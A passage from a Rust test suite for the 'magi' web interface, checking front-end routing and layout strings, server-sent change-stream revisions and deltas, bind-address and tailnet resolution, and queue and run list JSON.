12007 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12008 ),
12009 "a chat-filed task row must link to the task page"
12010 );
12011 assert!(
12012 !body.contains("#/runs/") && !body.contains("#/queue/"),
12013 "the row must not branch to a run or the queue card"
12014 );
12015 assert!(APP_CSS.contains(".talk-task-link"));
12016 }
12017 }
12018
12019 #[test]
12020 fn a_task_notification_links_to_the_task_page() {
12021 let start = APP_JS
12023 .find("function noticeLink(")
12024 .expect("noticeLink exists");
12025 let body = &APP_JS[start..];
12026 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12027 assert!(
12028 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12029 "a task notice's link must target the task page"
12030 );
12031 assert!(
12032 !body.contains("#/queue/"),
12033 "regression: the task link must not go back to the Backlog route"
12034 );
12035 assert!(
12036 APP_JS.contains(
12037 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12038 ),
12039 "`#/tasks/<id>` must parse into the task route"
12040 );
12041
12042 assert!(
12044 APP_JS.contains(
12045 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12046 ),
12047 "`#/queue/<id>` must parse into a route carrying that id"
12048 );
12049
12050 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12054 assert!(APP_JS.contains("function consumeQueueFocus()"));
12055 assert!(APP_JS.contains("jumpToTask(id)"));
12056 }
12057
12058 #[test]
12061 fn chat_rows_put_the_title_alone_on_the_first_line() {
12062 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12063 assert!(APP_CSS.contains(
12064 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12065 ));
12066 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12067 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12068 }
12069
12070 #[test]
12071 fn run_rows_put_the_title_alone_on_the_first_line() {
12072 assert!(
12073 APP_CSS.contains(
12074 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12075 )
12076 );
12077 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12078 assert!(APP_JS.contains("class: \"card run-card\""));
12079 assert!(APP_JS.contains("class: \"repo run-id\""));
12080 }
12081
12082 #[test]
12086 fn wide_screens_show_list_and_preview_side_by_side() {
12087 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12089 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12090 assert!(APP_CSS.contains("main[data-split]"));
12091 assert!(APP_CSS.contains("body[data-split]"));
12092
12093 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12095 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12096 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12097 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12098 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12099
12100 assert!(APP_JS.contains("function markSelected() {"));
12102 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12103 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12104 assert!(
12106 APP_CSS.contains(
12107 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12108 )
12109 );
12110
12111 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12113 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12114 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12115 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12116
12117 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12121 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12122 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12123 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12124
12125 assert!(APP_JS.contains("sandbox: \"\""));
12127 assert!(!APP_JS.contains("sandbox: \"allow"));
12128 }
12129
12130 #[test]
12131 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12132 assert!(
12141 APP_JS.contains(
12142 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12143 ),
12144 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12145 recursive renderQueue() call has nothing left to jump to"
12146 );
12147 assert!(
12148 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12149 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12150 arrives later still gets it"
12151 );
12152 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12153 assert!(APP_JS.contains("is not in the current Backlog."));
12154 assert!(APP_JS.contains("li.card[data-task-id=\""));
12155 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12156 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12157 assert!(APP_CSS.contains(".card-permalink"));
12158 assert!(APP_CSS.contains(".queue-focus-status"));
12159 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12160 }
12161
12162 #[test]
12163 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12164 assert!(
12172 APP_JS.contains(
12173 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12174 ),
12175 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12176 );
12177 }
12178
12179 #[test]
12180 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12181 assert!(
12182 APP_JS.contains("round.verified_head !== round.head"),
12183 "a round that verified an earlier commit must be visibly distinct from one that \
12184 verified the head reviewers are looking at now"
12185 );
12186 assert!(
12187 APP_JS.contains("round.verified_at"),
12188 "when a check ran must be on the wire, not just which commit"
12189 );
12190 assert!(
12191 APP_JS.contains("resource_blocked"),
12192 "a command magi never got to run (shared build cache contention) must not render \
12193 the same as a command that ran and failed"
12194 );
12195 }
12196
12197 #[test]
12198 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12199 assert!(
12207 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12208 "every KPI tile built through statusTile() must route its click through \
12209 openRunsFiltered, the single place that sets the Runs filter"
12210 );
12211 for (label, status) in [
12212 ("Merged", "merged"),
12213 ("Ready", "ready"),
12214 ("Blocked", "blocked"),
12215 ("Stalled", "stalled"),
12216 ] {
12217 let call = format!("statusTile(\"{label}\", t.{status}, ");
12218 assert!(
12219 APP_JS.contains(&call),
12220 "expected the {label} KPI tile built via {call}..."
12221 );
12222 assert!(
12223 APP_JS.contains(&format!("status === \"{status}\"")),
12224 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12225 compare a run against, not one invented only for the stats tile"
12226 );
12227 }
12228 assert!(
12229 APP_JS.contains("function openRunsFiltered(status)"),
12230 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12231 );
12232 assert!(
12233 APP_JS.contains(
12234 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12235 ),
12236 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12237 );
12238 assert!(
12246 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12247 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12248 hashchange event that may never fire"
12249 );
12250 }
12251
12252 #[test]
12253 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12254 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12260 assert!(
12261 APP_JS.contains(
12262 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12263 ),
12264 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12265 guard for an incompatible tree section"
12266 );
12267 }
12268
12269 #[test]
12270 fn every_stats_queue_tile_names_a_real_queue_section() {
12271 assert!(
12277 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12278 "every queue tile built through sectionTile() must route its click through \
12279 openQueueSectionFocus"
12280 );
12281 for key in ["upnext", "running", "done", "held", "blocked"] {
12282 assert!(
12283 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12284 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12285 );
12286 }
12287 for line in [
12291 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12292 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12293 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12294 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12295 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12296 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12297 ] {
12298 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12299 }
12300 }
12301
12302 #[test]
12303 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12304 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12311 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12312 assert!(APP_JS.contains("function revealQueueSection(details)"));
12313 assert!(
12314 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12315 "renderQueue() must consume both focus channels on every pass"
12316 );
12317 assert!(
12318 APP_JS.contains(
12319 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12320 ),
12321 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12322 the recursive renderQueue() call has nothing left to reveal"
12323 );
12324 assert!(
12325 APP_JS.contains(
12326 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12327 ),
12328 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12329 );
12330 assert!(
12338 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12339 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12340 hashchange event that may never fire"
12341 );
12342 }
12343
12344 #[tokio::test]
12345 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12346 let f = Fixture::start().await;
12347
12348 let mut socket = tokio::net::TcpStream::connect(f.addr)
12349 .await
12350 .expect("connect");
12351 socket
12352 .write_all(
12353 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12354 )
12355 .await
12356 .expect("write request");
12357
12358 let mut seen = String::new();
12361 let mut buf = [0u8; 1024];
12362 while !seen.contains("event: change") {
12363 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12364 .await
12365 .expect("the stream must speak within five seconds")
12366 .expect("read");
12367 assert!(read > 0, "the server closed the change stream: {seen}");
12368 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12369 }
12370
12371 assert!(
12372 seen.to_lowercase()
12373 .contains("content-type: text/event-stream"),
12374 "the browser only reconnects automatically for a real SSE stream: {seen}"
12375 );
12376 let data = seen
12377 .lines()
12378 .find_map(|l| l.strip_prefix("data:"))
12379 .expect("a data line");
12380 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12381 assert!(
12382 payload["queue_rev"].is_u64()
12383 && payload["runs_rev"].is_u64()
12384 && payload["questions_rev"].is_u64()
12385 && payload["talks_rev"].is_u64()
12386 && payload["notifications_rev"].is_u64()
12387 && payload["loop_rev"].is_u64(),
12388 "the client needs one revision per store to know what to refetch, \
12389 and `talks_rev` is the only notification a standing talk gets - a \
12390 phone whose radio slept through a turn learns about it here, as \
12391 does one whose operator started the loop from another device: \
12392 {payload}"
12393 );
12394
12395 let health = f.get("/api/health").await.json();
12402 for key in [
12403 "queue_rev",
12404 "runs_rev",
12405 "questions_rev",
12406 "talks_rev",
12407 "notifications_rev",
12408 "loop_rev",
12409 ] {
12410 assert!(
12411 health[key].is_u64(),
12412 "health is the change stream's fallback and is missing `{key}`: {health}"
12413 );
12414 }
12415 }
12416
12417 #[tokio::test]
12418 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12419 let f = Fixture::start().await;
12420 let before = f.get("/api/health").await.json()["talks_rev"]
12421 .as_u64()
12422 .expect("talks_rev");
12423
12424 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12425 std::thread::sleep(Duration::from_millis(10));
12426 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12427 on_disk.turns.push(crate::talk::Turn {
12428 who: crate::talk::Who::Operator,
12429 body: "a new turn".to_owned(),
12430 at: Timestamp::now(),
12431 attachments: Vec::new(),
12432 usage: None,
12433 });
12434 f.talks().put(&mut on_disk).expect("record a turn");
12435
12436 let after = f.get("/api/health").await.json()["talks_rev"]
12437 .as_u64()
12438 .expect("talks_rev");
12439 assert_ne!(
12440 before, after,
12441 "a phone must be able to notice a talk's reply without polling every store"
12442 );
12443 }
12444
12445 #[test]
12446 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12447 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12451 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12452 }
12453 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12454 assert!("everywhere".parse::<Bind>().is_err());
12455 }
12456
12457 #[test]
12458 fn an_explicit_bind_address_is_taken_verbatim() {
12459 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12460
12461 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12462
12463 assert_eq!(addr, asked);
12464 assert!(
12465 warning.is_none(),
12466 "an operator who named an address gets no lecture"
12467 );
12468 }
12469
12470 #[test]
12471 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12472 let (addr, warning) = resolve_bind(&Bind::Auto);
12473
12474 match addr {
12481 IpAddr::V4(ip) if is_tailnet(&ip) => {
12482 assert!(warning.is_none(), "a tailnet address needs no warning");
12483 }
12484 other => {
12485 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12486 let warning = warning.expect("a fallback has to explain itself");
12487 assert!(
12488 warning.contains("127.0.0.1") && warning.contains("local-only"),
12489 "the warning says what happened and what it costs: {warning}"
12490 );
12491 }
12492 }
12493 }
12494
12495 #[test]
12496 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12497 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12501 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12502 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12503 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12504 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12505 }
12506
12507 #[test]
12508 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12509 let ids = vec![
12510 "20260902-140501-aaaa".to_owned(),
12511 "20260902-140502-aabb".to_owned(),
12512 ];
12513
12514 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12515 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12516 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12517
12518 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12519 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12520 assert_eq!(short, "20260902-140502-aabb");
12521 }
12522 #[tokio::test]
12523 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12524 let fx = Fixture::start().await;
12530 let id = panel(
12531 &fx,
12532 "<img src=\"shot.png\">",
12533 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12534 );
12535
12536 let doc = fx
12538 .get(&format!("/api/questions/{id}/panel/index.html"))
12539 .await;
12540 assert_eq!(doc.status, 200, "{}", doc.body);
12541 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12542
12543 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12544 assert_eq!(sibling.status, 200, "{}", sibling.body);
12545 assert_eq!(sibling.header("content-type"), Some("image/png"));
12546 assert_eq!(
12547 sibling.header("content-security-policy"),
12548 Some(PANEL_CSP),
12549 "the sibling route must carry the same policy as the asset route"
12550 );
12551
12552 assert_eq!(
12555 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12556 200
12557 );
12558 }
12559
12560 #[test]
12561 fn delta_stamps_cover_add_update_remove_and_noop() {
12562 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12563 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12564 let delta = diff_stamps(&before, &after, 42);
12565 assert_eq!(delta.base, 42);
12566 assert_eq!(delta.changed, ["b", "c"]);
12567 assert_eq!(delta.removed, ["a"]);
12568 let same = diff_stamps(&after, &after, 43);
12569 assert!(same.changed.is_empty() && same.removed.is_empty());
12570 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12571 let nanos: Stamps = [("b".into(), (2, 20))].into();
12572 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12573 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12574 assert_eq!(stamps_revision(&Stamps::new()), 0);
12575 }
12576
12577 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12578 std::fs::create_dir_all(home.join("runs")).unwrap();
12579 Arc::new(Ui::new(
12580 Queue::at(home.join("queue")),
12581 Questions::at(home.join("questions")),
12582 Talks::at(home.join("talks")),
12583 home.join("runs"),
12584 home.to_owned(),
12585 PathBuf::from("/repo/magi"),
12586 ))
12587 }
12588
12589 #[tokio::test]
12590 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12591 let home = TempDir::new().unwrap();
12592 let ui = delta_test_ui(home.path());
12593 let mut task = Task::new(
12594 "stream task".into(),
12595 "text".into(),
12596 PathBuf::from("/repo"),
12597 Source::Human,
12598 );
12599 ui.queue.put(&mut task).unwrap();
12600 let response = events(State(ui.clone())).await.into_response();
12601 let mut stream = response.into_body().into_data_stream();
12602 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12603 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12604 .await
12605 .unwrap()
12606 .unwrap()
12607 .unwrap();
12608 let text = String::from_utf8(chunk.to_vec()).unwrap();
12609 let data = text
12610 .lines()
12611 .find_map(|line| {
12612 line.strip_prefix("data: ")
12613 .or_else(|| line.strip_prefix("data:"))
12614 })
12615 .unwrap();
12616 serde_json::from_str(data).unwrap()
12617 }
12618 let initial = change(&mut stream).await;
12619 assert!(initial.get("queue_delta").is_none());
12620 task.instruction.push_str(" changed");
12621 ui.queue.put(&mut task).unwrap();
12622 let updated = change(&mut stream).await;
12623 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12624 assert_eq!(
12625 updated["queue_delta"]["changed"],
12626 serde_json::json!([task.id])
12627 );
12628 assert_eq!(
12629 updated["queue_rev"].as_u64(),
12630 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12631 );
12632 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12633 let removed = change(&mut stream).await;
12634 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12635 assert_eq!(
12636 removed["queue_delta"]["removed"],
12637 serde_json::json!([task.id])
12638 );
12639 }
12640
12641 #[tokio::test]
12642 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12643 let home = TempDir::new().unwrap();
12644 let ui = delta_test_ui(home.path());
12645 let queue = ui.queue.clone();
12646 let query = |ids: Option<&str>| {
12647 Query(ListQuery {
12648 limit: Some(2),
12649 ids: ids.map(str::to_owned),
12650 })
12651 };
12652 let mut root = Task::new(
12653 "root".into(),
12654 "instruction".into(),
12655 PathBuf::from("/repo"),
12656 Source::Human,
12657 );
12658 queue.put(&mut root).unwrap();
12659 let mut blocked = Task::new(
12660 "blocked".into(),
12661 "instruction".into(),
12662 PathBuf::from("/repo"),
12663 Source::Human,
12664 );
12665 blocked.block(vec![root.id.clone()], None);
12666 queue.put(&mut blocked).unwrap();
12667 let whole =
12668 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12669 .unwrap();
12670 let subset = serde_json::to_value(
12671 queue_list(State(ui.clone()), query(Some(&root.id)))
12672 .await
12673 .unwrap()
12674 .0,
12675 )
12676 .unwrap();
12677 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12678 let blockers = serde_json::to_value(
12679 queue_list(State(ui.clone()), query(Some("")))
12680 .await
12681 .unwrap()
12682 .0,
12683 )
12684 .unwrap();
12685 assert_eq!(blockers.as_array().unwrap().len(), 1);
12686 assert_eq!(blockers[0]["id"], blocked.id);
12687 assert_eq!(
12688 blockers[0]["waits_on"],
12689 whole
12690 .as_array()
12691 .unwrap()
12692 .iter()
12693 .find(|row| row["id"] == blocked.id)
12694 .unwrap()["waits_on"]
12695 );
12696
12697 for id in [
12698 "20260902-140501-aaaa",
12699 "20260902-140502-bbbb",
12700 "20260902-140503-cccc",
12701 ] {
12702 write_run(&ui.runs, id, RunStatus::Merged);
12703 }
12704 let old = serde_json::to_value(
12705 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12706 .await
12707 .unwrap()
12708 .0,
12709 )
12710 .unwrap();
12711 assert!(
12712 old.as_array().unwrap().is_empty(),
12713 "older updates must not enter the window"
12714 );
12715 let newest = serde_json::to_value(
12716 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12717 .await
12718 .unwrap()
12719 .0,
12720 )
12721 .unwrap();
12722 assert_eq!(newest.as_array().unwrap().len(), 1);
12723 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12724
12725 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12726 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12727 let talks = serde_json::to_value(
12728 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12729 .await
12730 .unwrap()
12731 .0,
12732 )
12733 .unwrap();
12734 assert_eq!(talks.as_array().unwrap().len(), 1);
12735 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12736 assert_eq!(
12737 serde_json::to_value(
12738 talks_list(State(ui.clone()), query(Some("")))
12739 .await
12740 .unwrap()
12741 .0
12742 )
12743 .unwrap(),
12744 serde_json::json!([])
12745 );
12746 }
12747
12748 #[tokio::test]
12749 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12750 async fn delta_payload_benchmark() {
12751 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12752 let ui = delta_test_ui(&home);
12753 let query = |ids: Option<String>| {
12754 Query(ListQuery {
12755 limit: Some(50),
12756 ids,
12757 })
12758 };
12759 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12760 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12761 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12762 let queue_id = queue
12763 .iter()
12764 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12765 .unwrap_or(&queue[0])
12766 .task
12767 .id
12768 .clone();
12769 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12770 .await
12771 .unwrap()
12772 .0;
12773 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12774 .await
12775 .unwrap()
12776 .0;
12777 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12778 .await
12779 .unwrap()
12780 .0;
12781 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12782 eprintln!(
12783 "DELTA_PAYLOAD {}",
12784 serde_json::json!({
12785 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12786 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12787 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12788 "counts": [queue.len(), runs.len(), talks.len()],
12789 "blocked": queue_delta.len() - 1,
12790 })
12791 );
12792 }
12793
12794 #[test]
12795 fn runs_revision_moves_when_deleting_an_older_run() {
12796 let temp = TempDir::new().expect("tempdir");
12797 let runs = temp.path().join("runs");
12798 std::fs::create_dir_all(&runs).expect("create runs dir");
12799
12800 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12801
12802 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12803 std::thread::sleep(Duration::from_millis(10));
12804 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12805
12806 let rev_before = runs_revision(&runs);
12807 assert!(rev_before > 0);
12808
12809 let old_dir = runs.join("20260901-100000-old1");
12810 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12811
12812 let rev_after = runs_revision(&runs);
12813 assert_ne!(
12814 rev_before, rev_after,
12815 "deleting an older run must change the revision so other clients see the deletion"
12816 );
12817 }
12818
12819 fn write_state(runs: &FsPath, state: &RunState) {
12824 let dir = runs.join(&state.id);
12825 std::fs::create_dir_all(&dir).expect("run dir");
12826 std::fs::write(
12827 dir.join("run.json"),
12828 serde_json::to_string_pretty(state).expect("serialize run"),
12829 )
12830 .expect("write run.json");
12831 }
12832
12833 #[test]
12838 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12839 let temp = TempDir::new().expect("tempdir");
12840 let runs = temp.path().join("runs");
12841 std::fs::create_dir_all(&runs).expect("create runs dir");
12842 let mut state = RunState::new(
12843 PathBuf::from("/repo/magi"),
12844 "main".to_owned(),
12845 "0123456789abcdef".to_owned(),
12846 "task".to_owned(),
12847 Config::default(),
12848 );
12849 state.id = "20260902-100000-c0de".to_owned();
12850 write_state(&runs, &state);
12851
12852 let rev_idle = runs_revision(&runs);
12853 std::thread::sleep(Duration::from_millis(10));
12854 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12855 write_state(&runs, &state);
12856 let rev_started = runs_revision(&runs);
12857 assert_ne!(
12858 rev_idle, rev_started,
12859 "a seat starting must move the revision"
12860 );
12861
12862 std::thread::sleep(Duration::from_millis(10));
12863 state.seat_finished("judge-1");
12864 write_state(&runs, &state);
12865 let rev_finished = runs_revision(&runs);
12866 assert_ne!(
12867 rev_started, rev_finished,
12868 "and clearing it again must move the revision a second time"
12869 );
12870 }
12871
12872 #[tokio::test]
12873 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12874 let fx = Fixture::start().await;
12879 let q = fx.queue();
12880
12881 let mut t = Task::new(
12882 "Task".to_owned(),
12883 "Instruction".to_owned(),
12884 PathBuf::from("/repo"),
12885 Source::Human,
12886 );
12887 t.block(
12888 vec!["20260101-000000-dead".to_owned()],
12889 Some("waiting on Task 1".to_owned()),
12890 );
12891 t.answers.push(crate::queue::AnsweredQuestion {
12892 question: "Which backend?".to_owned(),
12893 answer: "SQLite".to_owned(),
12894 });
12895 q.put(&mut t).expect("put t");
12896
12897 let res = fx.get("/api/queue").await;
12898 assert_eq!(res.status, 200);
12899 let list = res.json();
12900 let view = list
12901 .as_array()
12902 .expect("array")
12903 .iter()
12904 .find(|v| v["id"] == t.id)
12905 .expect("task in list");
12906 assert_eq!(view["status_str"], "blocked");
12907 assert_eq!(
12908 view["blocked_by"],
12909 serde_json::json!(["20260101-000000-dead"])
12910 );
12911 assert_eq!(view["block_reason"], "waiting on Task 1");
12912 assert_eq!(view["answers"][0]["question"], "Which backend?");
12913 assert_eq!(view["answers"][0]["answer"], "SQLite");
12914
12915 let res = fx
12919 .post(&format!("/api/queue/{}/hold", t.short()), None)
12920 .await;
12921 assert_eq!(res.status, 200);
12922 let held = res.json();
12923 assert_eq!(held["status_str"], "held");
12924 assert_eq!(held["blocked_by"], serde_json::json!([]));
12925 assert!(held["block_reason"].is_null());
12926 assert_eq!(held["answers"][0]["answer"], "SQLite");
12927 }
12928
12929 #[tokio::test]
12930 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12931 let fx = Fixture::start().await;
12932 let q = fx.queue();
12933 let mk = |title: &str| {
12934 Task::new(
12935 title.to_owned(),
12936 "Instruction".to_owned(),
12937 PathBuf::from("/repo"),
12938 Source::Human,
12939 )
12940 };
12941 let mut root = mk("root");
12942 root.hold_manual(Some("waiting".to_owned()));
12943 q.put(&mut root).unwrap();
12944 let mut mid = mk("mid");
12945 mid.block(vec![root.id.clone()], None);
12946 q.put(&mut mid).unwrap();
12947 let mut leaf = mk("leaf");
12948 leaf.block(vec![mid.id.clone()], None);
12949 q.put(&mut leaf).unwrap();
12950
12951 let list = fx.get("/api/queue").await.json();
12952 let find = |id: &str| {
12953 list.as_array()
12954 .unwrap()
12955 .iter()
12956 .find(|v| v["id"] == id)
12957 .unwrap()
12958 .clone()
12959 };
12960 let leaf_view = find(&leaf.id);
12961 assert_eq!(
12962 leaf_view["waits_on"],
12963 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12964 );
12965 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12966 assert_eq!(
12967 find(&mid.id)["waits_on"],
12968 serde_json::json!([format!("{} (held)", root.short())])
12969 );
12970 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12971 }
12972
12973 #[tokio::test]
